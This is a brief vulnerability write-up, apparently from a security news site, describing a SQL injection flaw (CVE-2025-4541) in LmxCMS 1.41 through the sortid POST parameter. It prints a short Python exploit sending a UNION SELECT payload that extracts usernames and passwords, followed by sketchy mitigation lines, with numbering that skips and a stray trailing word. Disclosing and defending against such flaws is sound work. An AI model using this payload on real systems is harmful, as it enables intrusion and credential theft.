How CVE-2025-4541 Works
The vulnerability exists in the `manageZt` function within `c\admin\ZtAction.class.php` of LmxCMS 1.41. The `sortid` parameter passed via POST requests is not properly sanitized before being used in SQL queries, allowing attackers to inject malicious SQL commands. This flaw enables unauthorized database access, potentially leading to data theft, manipulation, or deletion. The attack can be executed remotely without authentication, making it critical.

What Undercode Say:
Exploitation
import requests
target = "http://example.com/admin/ZtAction.class.php"
payload = {"sortid": "1' UNION SELECT username, password FROM users--"}
response = requests.post(target, data=payload)
print(response.text)

Temporary workaround chmod 640 c/admin/ZtAction.class.php
3. WAF Rules
location /admin {
deny all;
}
Analytics
